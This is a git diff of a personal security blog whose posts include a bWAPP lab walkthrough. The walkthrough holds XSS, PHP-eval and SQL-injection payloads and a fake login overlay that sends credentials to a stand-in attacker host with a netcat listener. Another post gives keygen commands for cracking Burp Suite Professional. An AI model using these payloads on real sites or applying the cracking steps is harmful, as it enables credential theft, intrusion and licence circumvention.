bWAPP靶场训练记录,之前就搭好的,一直没练,现在有空练一下

+
+

主要内容有:一个很综合的靶场,不错!

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
Blind SQL and Blind OS Command injection
Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
Cross-Site Request Forgery (CSRF)
AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
Malicious, unrestricted file uploads and backdoor files
Authentication, authorization and session management issues
Arbitrary file access and directory traversals
Local and remote file inclusions (LFI/RFI)
Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
HTTP parameter pollution and HTTP response splitting
Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
Unvalidated redirects and forwards, and cookie poisoning
Cookie poisoning and insecure cryptographic storage
Server Side Request Forgery (SSRF)
XML External Entity attacks (XXE)
And much much much more…
+ +

image-20220220202650607

+

A1 Injection

HTML Injection - Reflected (GET)

+

get型的html注入

+

http://127.0.0.1/bWAPP/bWAPP/htmli_get.php?firstname=%3Ch1%3Etest%3Ch1%3E&lastname=%3Ch1%3Etest%3Ch1%3E&form=submit

+

也可以使用xss

+

HTML Injection - Reflected (POST)

+

通过hackbar提交POST请求即可

+

image-20220220204407419

+

HTML Injection - Reflected (URL)

+

尝试XSS

+

http://127.0.0.1/bWAPP/bWAPP/htmli_current_url.php?a=%3Cscript%3Ealert(/xss/)%3C/script%3E

+

bp抓包之后对编码进行修改

+
1
2
3
4
5
6
7
8
9
10
11
12
GET /bWAPP/bWAPP/htmli_current_url.php/?a=<script>alert(/xss/)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=r4h29vbhsl8upskjm0bs4ve575; security_level=0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
+ +

原理如此,但这个只能在IE浏览器才能成功。

+

HTML Injection - Stored (Blog)

+

可以XSS

+

看了网上以为老外写的exp

+
1
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://AttackerIP/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
+ +

攻击机:nc -l 80

+

iFrame Injection

+

http://127.0.0.1/bWAPP/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

+

OS Command Injection

+

命令注入,跟DVWA的很类似

+

image-20220220212958793

+

OS Command Injection - Blind

+

跟SQL盲注类似,根据时间判断命令是否执行成功

+

PHP Code Injection

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if(isset($_REQUEST["message"]))
{

// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

<?php
+ +

http://127.0.0.1/bWAPP/bWAPP/phpi.php/?message=phpinfo()

+

有点像get型传参的注入

+

image-20220220213536683

+

Server-Side Includes (SSI) Injection

+

这里执行XSS没有问题,但是对服务端包含还不够熟悉。用了一下老外的exp也没成功

+

接下来就是SQL注入类型的了。

+

SQL Injection (GET/Search)

+image-20220220214631158 + +

http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%%27%20order%20by%207%20--+&action=search

+

order试出列

+

数据库名和用户名

+

http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%27%20union%20select%201,database(),user(),4,5,6,7%20--+&action=search

+

SQL Injection (AJAX/JSON/jQuery)

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/02/17/bwapp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/02/25/xinxi/index.html b/2022/02/25/xinxi/index.html new file mode 100644 index 000000000..95791bd39 --- /dev/null +++ b/2022/02/25/xinxi/index.html @@ -0,0 +1,192 @@ +香农信息论 | h4m5t's Blog + + + + + + + + + + + + +

香农信息论

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/02/25/xinxi/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/02/26/html/index.html b/2022/02/26/html/index.html new file mode 100644 index 000000000..d40e35222 --- /dev/null +++ b/2022/02/26/html/index.html @@ -0,0 +1,192 @@ +html5新安全 | h4m5t's Blog + + + + + + + + + + + + +

html5新安全

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/02/26/html/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2022/03/05/py\345\256\211\345\205\250/index.html" "b/2022/03/05/py\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..cce4c93e5 --- /dev/null +++ "b/2022/03/05/py\345\256\211\345\205\250/index.html" @@ -0,0 +1,212 @@ +python安全开发 | h4m5t's Blog + + + + + + + + + + + + +

python安全开发

+

半年多没接触编程,手生了。做一些python安全开发的小工具,练手+复习

+
+

sqlmap Tamper

Burp插件

端口扫描探测

python web安全

1.获取http状态码

+
1
2
3
4
import requests
url="https://baidu.com"
r=requests.get(url)
print(r)
+ +

2.get请求

+

无参数

+
1
2
3
4
5
6
import requests
url="https://baidu.com"
r=requests.get(url=url)
print(r.url)
print(r.headers)
print(r.status_code)
+ +

带参数请求

+
1
requests.get(url,params=) #字典
+ +

3.POST请求

+
1
requests.post(url,data=)
+ +

4.headers自定义请求头

+

5.响应头和请求头

+

print(r.headers)

+

print(r.request.headers)

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/03/05/py%E5%AE%89%E5%85%A8/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2022/08/22/\346\230\245\346\213\233/index.html" "b/2022/08/22/\346\230\245\346\213\233/index.html" new file mode 100644 index 000000000..22fab7f79 --- /dev/null +++ "b/2022/08/22/\346\230\245\346\213\233/index.html" @@ -0,0 +1,249 @@ +春招 | h4m5t's Blog + + + + + + + + + + + + + + +

春招

+

春招早就告一段落,在这里记录一下。

+
+

需要准备的几个方向

    +
  1. 简历
  2. +
  3. 自我介绍
  4. +
  5. 计算机网络
  6. +
  7. 操作系统(操作系统原理,Linux,Windows)
  8. +
  9. 数据
  10. +
  11. 算法(Leetcode)
  12. +
  13. 编程语言(Python,C++,go等)
  14. +
  15. 安全知识(很多很杂,建议根据自己擅长的方向和所投递的岗位进行针对性学习)
  16. +
+

计算机知识参考CS-NOTES:http://www.cyc2018.xyz/

+

安全方面的可以去Github,知乎,等平台查找。**牛客**上也有很多!仔细找。

+

贴一下我自己找的一些**安全面经**:https://github.com/h4m5t/Sec-Interview

+

Python面试题:https://github.com/taizilongxu/interview_python

+

安全岗职位要求

    +
  • 熟悉osquery等开源HIDS工具,阅读过工具部分源码或进行过二次开发
  • +
  • 有过实战经验(包括src、众测、护网等)
  • +
  • 了解Redis/docker/MySQL/Java框架等常见中间件高危漏洞原理
  • +
  • 精通 PoC、Exp、规则、指纹等编写的能力
  • +
  • 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
  • +
  • 入侵检测
  • +
  • 熟悉某一安全细分领域,如内网渗透、移动安全、恶意软件分析、CTF竞赛等
  • +
  • 掌握白帽子攻击流程及常用白帽子工具,熟悉攻击技术,具有渗透常见服务器的经验
  • +
  • 熟悉热门流行的攻击工具,能够灵活运用各类小工具,并能开发相关的小工具
  • +
  • 熟悉web、内网、iot方面的渗透流程和攻击技术,有过渗透测试、攻击模拟经验
  • +
  • 实践落地过完整SDL威胁建模方面的项目经验
  • +
  • 有实际用过机器学习算法解决过实际问题的项目经验
  • +
  • 有实践过云安全落地解决实际问题的项目经验
  • +
  • 熟悉windows、Linux系统及常用命令,熟悉WEB服务器常见配置
  • +
  • 了解Owasp Top10漏洞原理,具备渗透测试的实施和交付能力,熟悉渗透测试的步骤和方法
  • +
  • 了解常见企业安全防御技术,有防护绕过实践经验
  • +
  • 了解基本的Linux、Mysql、Redis、Nginx、DDOS等技术知识
  • +
  • 参与各类CTF安全竞赛获奖者优先,参与各大SRC、众测平台并排名靠前者优先
  • +
  • 网络安全法律
  • +
  • 独立挖掘到 k8s、容器逃逸、虚拟机逃逸相关漏洞的研究者优先;
  • +
  • 熟悉白盒审计,能对python、go、php代码进行审计
  • +
  • 快手招聘要求
  • +
  • 1、熟练使用SQLmap、Burp Suite、Metasploit等常见安全测试工具,了解原理,熟悉代码并且对其进行过二次开发
  • +
  • 2、在安全社区比较活跃,提交过高质量安全漏洞或者安全分析文章
  • +
  • 3、开发社区活跃,有开源过安全相关代码
  • +
  • 4、有互联网安全团队实习经验
  • +
  • 字节招聘要求
  • +
  • linux环境开发能力
  • +
  • shell
  • +
  • 有 Windows/Linux 客户端安全攻防的经验,或了解 Android/iOS 移动安全
  • +
  • 对安全合规,安全管理有了解
  • +
  • 数据分析,挖掘,机器学习
  • +
  • React/Vue前端
  • +
  • 对 Web 安全、服务端安全、客户端安全、移动安全、无线安全、物联网安全等其中一项或几项有深入研究
  • +
+

面试技巧

面试的节奏最好把握在自己手里,我们不可能每个方面都会,让面试官随便问的话,很大概率要挂。可以在自我介绍的时候,将你的学习历程讲清楚,让面试官知道你会什么,接触过什么,让他知道你大概会的东西的方向。其次,基础要扎实,漏洞的原理、种类、防御方式、应用等都应该十分熟悉,而且最好准备一些比较深的内容,开始的时候不说,等他问了再说,效果更好。然后,就是项目的经验了,这种东西要你确实做过且了解很深的才行,不然很容易给面试官留下差印象。还有就是HR,技术面你可以和面试官扯蛋、闲聊、开些玩笑也无所谓,但HR最好就不要了,正经点,别什么真话都往外说,别给他理由把你pass了

+

我的春招记录

待更

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/08/22/%E6%98%A5%E6%8B%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2022/12/01/\345\233\276\347\211\207\346\265\213\350\257\225/index.html" "b/2022/12/01/\345\233\276\347\211\207\346\265\213\350\257\225/index.html" new file mode 100644 index 000000000..468147cc4 --- /dev/null +++ "b/2022/12/01/\345\233\276\347\211\207\346\265\213\350\257\225/index.html" @@ -0,0 +1,197 @@ +图片测试 | h4m5t's Blog + + + + + + + + + + + + +

图片测试

ss

+

加入图片测试:

+

hh

+

touxiang:

+

touxiang

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/12/01/%E5%9B%BE%E7%89%87%E6%B5%8B%E8%AF%95/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2022/12/04/\345\215\232\345\256\242\350\277\201\347\247\273/index.html" "b/2022/12/04/\345\215\232\345\256\242\350\277\201\347\247\273/index.html" new file mode 100644 index 000000000..0b02711ce --- /dev/null +++ "b/2022/12/04/\345\215\232\345\256\242\350\277\201\347\247\273/index.html" @@ -0,0 +1,292 @@ +博客迁移 | h4m5t's Blog + + + + + + + + + + + + + + +

博客迁移


+

为什么迁移博客

之前的博客用了快三年,有一些小问题,另外发现有些图片失效了,甚至给我换了广告,不能忍。

+

而且速度很慢,准备换个框架,整体迁移一下。

+

以前用的是Jekyll,一个小众主题,很简洁,有语言翻译功能,手机端做的也不错。但是可扩展性差,用的人少,功能不完善。

+

需求

当前需求:

+
    +
  • 支持RSS

    +
  • +
  • 支持外链,GitHub,知乎等

    +
  • +
  • 支持查看运行时间,访问总次数。

    +
  • +
  • 支持归档,时间倒序排列。

    +
  • +
  • 支持转发到微信,qq,Twitter

    +
  • +
  • 相关文章推荐

    +
  • +
  • 写公告

    +
  • +
+

长远需求:

+
    +
  • 评论
  • +
  • 弹出聊天框
  • +
  • 插入广告
  • +
  • 支持打赏
  • +
+

寻找框架主题

主流静态框架有三种:

+

Hexo

Hugo

Jekyll

+ + + +

最终决定用hexo

+

框架:https://github.com/hexojs/hexo

+

主题:butterfly

+

此框架国内用的多,有问题方便查找,主题功能完善,看了别人的demo,特别惊艳。

+

可以满足我需要的所有需求。

+

缺点是不方便多端编辑,需要在本地生成之后上传所有文件。不像之前的Jekyll,只上传一个md文件就够了。

+

迁移进度

    +
  • 框架迁移
  • +
  • post迁移
  • +
  • 调整格式为hexo格式
  • +
  • 图片迁移(迁移了部分图片,有些404被SMS和谐了,之后把图片都放在Github上)
  • +
  • 多终端同步(main保存源文件,gh-pages保存生成后的文件。尝试后失败)
  • +
  • 格式美化
  • +
  • 配置CDN
  • +
+

渐变背景色

参考:

+

https://www.antmoe.com/posts/7198453

+

https://www.cnblogs.com/MoYu-zc/p/14397889.html

+

遇到了渐变色不生效的问题,看了上面这篇文章,解决了。将butterfly.ymlbackground改为"#efefef"

+

下面是配置背景色的css文件。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* 文章页背景 */
.layout > div:first-child:not(.recent-posts) {
/* 以下代表白色透明度为0.5 */
background: rgba(255, 255, 255, 0.5);
}
/* 所有背景(包括首页卡片、文章页、页面页等) */
#recent-posts > .recent-post-item,
.layout > div:first-child:not(.recent-posts),
.layout_post > #page,
.layout_post > #post,
.read-mode .layout_post > #post {
/* 以下代表白色透明度为0.5 */
background: rgba(255, 255, 255, 0.5);
}

/* 背景渐变 */
#web_bg{
/*紫粉渐变*/
/*background-image: linear-gradient(120deg, #e0c3fc 0%, #8ec5fc 100%);*/
/*粉白蓝*/
/*background-image: linear-gradient(-225deg, #dfbacd 0%, #B8DCFF 48%, #58abf3 100%);*/
/*background-image: linear-gradient(120deg, #89f7fe 0%, #66a6ff 100%);*/
/*background-image: linear-gradient(120deg, #a1c4fd 0%, #c2e9fb 100%);*/
background-image: linear-gradient(to top, #fff1eb 0%, #ace0f9 100%);
}
+ + + +

安装插件

install hexo-renderer-pug hexo-renderer-stylus --save
1
2
3
4
5
6
7
8
9
10
11
12
13
# 字数计数
npm install hexo-wordcount --save
# 本地搜索
npm install hexo-generator-search --save
# 慢加载
npm install hexo-lazyload-image --save
# push到GitHub
npm install hexo-deployer-git --save
# RSS订阅
npm install hexo-generator-feed --save

#后期安装,图片引用
cnpm install hexo-renderer-marked
+ +

查看已安装的所有插件:npm list

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+-- hexo-deployer-git@3.0.0
+-- hexo-generator-archive@2.0.0
+-- hexo-generator-category@2.0.0
+-- hexo-generator-feed@3.0.0
+-- hexo-generator-index@3.0.0
+-- hexo-generator-search@2.4.3
+-- hexo-generator-tag@2.0.0
+-- hexo-renderer-ejs@2.0.0
+-- hexo-renderer-marked@6.0.0
+-- hexo-renderer-pug@3.0.0
+-- hexo-renderer-stylus@2.1.0
+-- hexo-server@3.0.0
+-- hexo-theme-landscape@0.0.3
+-- hexo-wordcount@6.0.1
`-- hexo@6.3.0
+ +

备注:升级了Butterfly主题,也同步升级了其中一个插件:hexo-renderer-stylus

+
1
Bump hexo-renderer-stylus from 2.1.0 to 3.0.0 dependencies
+ + + +

一些小坑

    +
  1. 注意,配置文件冒号后面需要加空格。
  2. +
  3. 因为之前的githubpro过期了,免费github用户必须选择public仓库才能使用github pages功能,因此选择将仓库Public.
  4. +
  5. 目前此主题只支持UA跟踪ID,查了一下,Google将于2023年7月下架,所以先不用了。
  6. +
+

还有一些问题,记录在README上了。

+

https://github.com/h4m5t/h4m5t.github.io/blob/master/README.md

+

修改Profile README

顺便修改了一下github主页的readme,可以选不同颜色主题。

+

tokyonight

+

h4m5t's GitHub stats

+

Vue

+

Top Langs

+

参考下面的repo.

+ + + + + + + +

可以合并到表格,更整齐。

+ + + + + + + +
h4m5t's github stats
+

或者使用自动生成器:

+

https://rahuldkjain.github.io/gh-profile-readme-generator/

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/12/04/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2022/12/26/burpsuite/index.html b/2022/12/26/burpsuite/index.html new file mode 100644 index 000000000..4bcc464dc --- /dev/null +++ b/2022/12/26/burpsuite/index.html @@ -0,0 +1,216 @@ +Mac下 安装BurpsuiteProfession | h4m5t's Blog + + + + + + + + + + + + +

Mac下 安装BurpsuiteProfession

Mac下安装BP Profession

背景

之前用的注册机现在不能使用了,需要换新的。

+

原来:https://github.com/TrojanAZhen/BurpSuitePro-2.1

+

现用:https://github.com/h3110w0r1d-y/BurpLoaderKeygen

+

安装

先到官网下载安装。

+

https://portswigger.net/burp/releases

+

按往常一样,将jar包放到Burpsuite app同级目录下,

+

pic

+

运行:

+
1
cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar"  "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"
+ + + +

开另一个终端:

+
1
/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar
+ +

按往常的注册流程即可。

+

为方便运行,

+

修改vmoptions.txt

+
1
2
3
4
5
6
7
8
-XX:MaxRAMPercentage=50
-include-options user.vmoptions--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-javaagent:BurpLoaderKeygen.jar
-Xmx2048m
+ + + +

之后就可以正常使用了。

+

参考

https://www.sqlsec.com/2019/11/macbp.html#BP-2022-1

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/12/26/burpsuite/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2022/12/26/burpsuite/test1.png b/2022/12/26/burpsuite/test1.png new file mode 100644 index 000000000..63f845593 Binary files /dev/null and b/2022/12/26/burpsuite/test1.png differ diff --git a/2022/12/26/burpsuite/test2.png b/2022/12/26/burpsuite/test2.png new file mode 100644 index 000000000..41b09cf10 Binary files /dev/null and b/2022/12/26/burpsuite/test2.png differ diff --git a/2022/12/30/hello-hexo/index.html b/2022/12/30/hello-hexo/index.html new file mode 100644 index 000000000..393255ed5 --- /dev/null +++ b/2022/12/30/hello-hexo/index.html @@ -0,0 +1,318 @@ +hexo博客部署 | h4m5t's Blog + + + + + + + + + + + + + +

hexo博客部署

Hexo

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

+

Quick Start

Create a new post

1
$ hexo new "My New Post"
+ +

More info: Writing

+

Clean

1
$ hexo clean
+ +

Run server

1
$ hexo server
+ +

More info: Server

+

Generate static files

1
$ hexo generate
+ +

More info: Generating

+

Deploy to remote sites

1
$ hexo deploy
+ +

More info: Deployment

+

Actions自动化部署

Hexo自动化工作流总是遇到问题,今天终于解决了。实现了自动部署,终于不用先在本地PC生成静态文件了。方便在不同环境直接通过修改md文件实现对博客的更新。

+

部署过程

    +
  • 新建一个博客源码私有仓库BlogSource

    +
  • +
  • 创建一个有 repo 和 workflow 权限的 GitHub Token

    +
  • +
  • 将上述Token添加到私有仓库的Secrets,命令为HEXO_DEPLOY

    +
  • +
  • 创建工作流文件:.github\workflows\hexo-deploy.yml

    +
  • +
+

内容如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
name: Hexo Deploy GitHub Pages
on:
push:
branches:
- main

jobs:
build-and-deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@master

- name: Build and Deploy
uses: h4m5t/hexo-deploy-github-pages-action@master # 使用专门部署 Hexo 到 GitHub pages 的 action
env:
PERSONAL_TOKEN: ${{ secrets.HEXO_DEPLOY }} # secret 名
PUBLISH_REPOSITORY: h4m5t/h4m5t.github.io # 公共仓库,格式:GitHub 用户名/仓库名
BRANCH: gh-pages # 静态页面仓库分支
PUBLISH_DIR: ./public # 部署 public 目录下的文件
+ +

其中,用到的部署Action:https://github.com/h4m5t/hexo-deploy-github-pages-action

+

我这里是push到gh-pages分支了。要注意同步修改仓库设置中的Build Branch

+

源代码仓库中的.gitignore文件内容:

+
1
2
3
4
5
6
7
8
.DS_Store
Thumbs.db
db.json
*.log
node_modules/
public/
.deploy*/
_multiconfig.yml
+ + + +

遇到的问题

    +
  1. Actions总是报权限错误。删除掉源代码仓库中的node_modules文件夹后解决。
  2. +
  3. themes文件夹下内容push报错。删除掉themes文件夹下.git文件后解决。
  4. +
+

参考

https://akilar.top/posts/f752c86d/

+

https://github.com/cys2004/blog_source

+

https://juejin.cn/post/7133235874858270728#heading-2

+

mermaid流程图

修改:_config.butterfly.yml

+
1
2
3
4
5
6
7
8
# mermaid
# see https://github.com/mermaid-js/mermaid
mermaid:
enable: true
# built-in themes: default/forest/dark/neutral
theme:
light: default
dark: dark
+ +

方法1

在博客根目录下执行:

+
1
npm install hexo-filter-mermaid-diagrams --save
+ +

参考:https://github.com/jerryc127/hexo-theme-butterfly/issues/1228#issuecomment-1554223960

+

安装此插件后,可以使用Typora支持的格式,方便本地预览和远程查看。

+

例如:

+

可以根据如下源码生成流程图:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<pre class="mermaid">graph LR
A[Attacker crafts<br>malicious payload<br>with JNDI lookup] --> C{Log4j parses:<br>Contains JNDI lookup?}
C -->|Yes| D[Execute<br>JNDI lookup]
C -->|No| E[Normal log]
D --> F[Connect to<br>attacker's server]
F --> G[Download &<br>execute<br>malicious class]
G --> H[Attacker gains<br>server control]

classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px;
classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px;
classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px;
classDef danger fill:#ffebee,stroke:#333,stroke-width:1px;

class A,H highlight;
class C decision;
class G danger;</pre>
+ + + + + +
graph LR
+    A[Attacker crafts
malicious payload
with JNDI lookup] --> C{Log4j parses:
Contains JNDI lookup?} + C -->|Yes| D[Execute
JNDI lookup] + C -->|No| E[Normal log] + D --> F[Connect to
attacker's server] + F --> G[Download &
execute
malicious class] + G --> H[Attacker gains
server control] + + classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px; + classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px; + classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px; + classDef danger fill:#ffebee,stroke:#333,stroke-width:1px; + + class A,H highlight; + class C decision; + class G danger;
+ + + +
sequenceDiagram
+前端->>前端: 用户首次打开前端页面
+前端->>后台: version : 0 
请求同步数据 +后台->>前端: 返回数据,同时携带最大的version +note right of 后台: 返回数据结构:{"version":100, data:[{},{},{}]}
+ + + + + +

方法2

使用butterfuly官方给出的引用方法。

+

参考:https://butterfly.js.org/posts/4aa8abbe/?highlight=mermaid#mermaid

+

写法:

+
1
2
3
{% mermaid %}
內容
{% endmermaid %}
+ +

示例:

+
+ + + +
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/12/30/hello-hexo/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git "a/2023/01/01/2023\345\271\264\345\261\225\346\234\233/index.html" "b/2023/01/01/2023\345\271\264\345\261\225\346\234\233/index.html" new file mode 100644 index 000000000..db60314b9 --- /dev/null +++ "b/2023/01/01/2023\345\271\264\345\261\225\346\234\233/index.html" @@ -0,0 +1,209 @@ +2023年展望 | h4m5t's Blog + + + + + + + + + + + + +

2023年展望

2022年总结

整个2022年过的比较压抑,无休止的封控,每天一次不停的核酸,最多的时候一天三次。直到12月突然放开,侥幸成为部门倒数第二个阳🐏的人,也算跑进了决赛圈。今天身体快恢复了,总体感觉就是中等感冒,并无大碍。

+

基地提供了很好的环境,享受了最好的图书馆,静下心来度过了大半年时光。22年的考研以失败告终(准确来讲,是21年考的),该做的准备都做了,奈何实力不够,差十几分未过线。身边很多朋友二战的,我也很遗憾,但不得不向前走了。

+

回到学校,大四下,便开始准备面试。最多的时候一天四轮面试,面的麻木了。到三月底,拿了七八个offer,选了个还算可以的就匆匆结束了。

+

然后又进入一段极其压抑痛苦的时光,选了一个比较前沿的密码学课题,原理难懂,实验更难,指导老师的压迫感比童年最大的阴影-钢琴老师来的还强。还好有热心学长帮忙指导,最后也顺利毕业了。

+

离开学校已有半年时间,没有太多留恋,或许再回去已是很多年之后了吧。

+

在家乡,度过了美好的暑期,那是人生少有的一段最轻松的时光。前一次是高考之后,后一次大概是退休吧。

+

7月底独自一人南下深圳,正式成为一名打工人。

+

打工半年,2022结束。

+

2023年展望

希望在未来这一年,做好职业规划,控制个人习惯,多给家人买些东西。培养一些兴趣爱好(唢呐,钓鱼,围棋等),多运动,多看几本书。

+

立几个flag:

+
    +
  • 每月至少写一次博客
  • +
  • 上半年考CCNP
  • +
  • 下半年拿下OSCP
  • +
  • 如果可以,养一只猫🐱
  • +
+

愿2023年顺利。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/01/01/2023%E5%B9%B4%E5%B1%95%E6%9C%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/1.jpg" "b/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/1.jpg" new file mode 100644 index 000000000..60679b01e Binary files /dev/null and "b/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/1.jpg" differ diff --git "a/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/index.html" "b/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/index.html" new file mode 100644 index 000000000..ef36c6af0 --- /dev/null +++ "b/2023/05/20/SOC\345\222\214SIEM\345\273\272\350\256\276/index.html" @@ -0,0 +1,207 @@ +SOC和SIEM建设 | h4m5t's Blog + + + + + + + + + + + + + + + +

SOC和SIEM建设

SOC和SIEM建设

待更。

+

引用图片方法1

+ + +

引用图片方法2:

+

pic

+

设置封面图片的几种方式:

+
    +
  • 直接引用同名文件夹
  • +
  • 引用/img下的图片
  • +
  • 加入超链接
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/05/20/SOC%E5%92%8CSIEM%E5%BB%BA%E8%AE%BE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
